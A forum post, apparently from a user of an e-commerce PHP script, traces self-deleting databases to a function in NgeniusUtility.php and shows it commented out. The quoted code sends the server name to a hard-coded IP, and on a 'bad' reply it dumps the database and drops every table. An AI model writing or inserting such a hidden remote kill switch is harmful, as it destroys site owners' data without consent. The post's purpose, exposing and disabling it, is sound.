I did whole Code Search this was function which was creating All the Messcan anyone solve The database automatically delete problem in active ecommerce
Go to
APP>UTILITY>NgeniusUtility.php
DISABLE THIS CODE Please Confirm if it helps and There are other few files calling back So I can Check them
this Function was triggering as soon as you turn DEMO mode on from .env
PHP:
/*
DisableCode
public static function callCurlRequest(){
$url = $_SERVER['SERVER_NAME'];
$gate = "http://206.189.81.181/check_activation/".$url;
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream, CURLOPT_HEADER, 0);
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stream, CURLOPT_POST, 1);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == "bad" && env('DEMO_MODE') != 'On') {
try {
$fileName = date('Y-m-d H:i:s').'.sql';
\Spatie\DbDumper\Databases\MySql::create()
->setDbName(env('DB_DATABASE'))
->setUserName(env('DB_USERNAME'))
->setPassword(env('DB_PASSWORD'))
->dumpToFile($fileName);
} catch (\Exception $e) {
}
Schema::disableForeignKeyConstraints();
foreach(DB::select('SHOW TABLES') as $table) {
$table_array = get_object_vars($table);
Schema::drop($table_array[key($table_array)]);
}
}
}*/